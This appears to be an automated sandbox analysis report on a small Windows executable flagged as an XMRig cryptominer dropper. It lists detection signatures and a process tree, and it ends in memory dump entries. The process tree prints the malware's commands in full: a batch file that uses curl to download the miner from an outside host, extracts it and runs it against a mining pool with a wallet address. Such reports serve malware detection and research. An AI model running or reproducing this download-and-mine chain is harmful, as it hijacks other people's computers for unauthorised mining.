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13/03/2024, 08:45
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240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
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240312-wf31fahd5810Analysis
- max time kernel
1797s - max time network
1798s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy (4).exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 61 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (4).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (4).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Se1lqdOb.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Se1lqdOb.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/1020-58-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-65-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-25-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-26-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-27-0x0000022ACFF70000-0x0000022ACFF90000-memory.dmp
memory/1020-28-0x0000022ACFF90000-0x0000022ACFFB0000-memory.dmp
memory/1020-59-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-30-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-31-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-61-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-34-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-35-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-36-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-37-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-38-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-39-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-41-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-42-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-43-0x0000022ACFF70000-0x0000022ACFF90000-memory.dmp
memory/1020-44-0x0000022ACFF90000-0x0000022ACFFB0000-memory.dmp
memory/1020-45-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-46-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-47-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-48-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-49-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-50-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-51-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-52-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-53-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-54-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-55-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-56-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-57-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-23-0x0000022ACFF10000-0x0000022ACFF30000-memory.dmp
memory/1020-29-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-24-0x0000022ACFF50000-0x0000022ACFF70000-memory.dmp
memory/1020-33-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-62-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-63-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-64-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-60-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-66-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-67-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-68-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-69-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-70-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-71-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-72-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-73-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-74-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-75-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-76-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-77-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-78-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-79-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-80-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-81-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-82-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-83-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-84-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-85-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-86-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-87-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-88-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-89-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-90-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1020-91-0x00007FF6A1E70000-0x00007FF6A2974000-memory.dmp
memory/1180-0-0x0000000000A40000-0x0000000000A48000-memory.dmp
memory/1180-4-0x00007FF9CD030000-0x00007FF9CDAF1000-memory.dmp
memory/1180-22-0x00007FF9CD030000-0x00007FF9CDAF1000-memory.dmp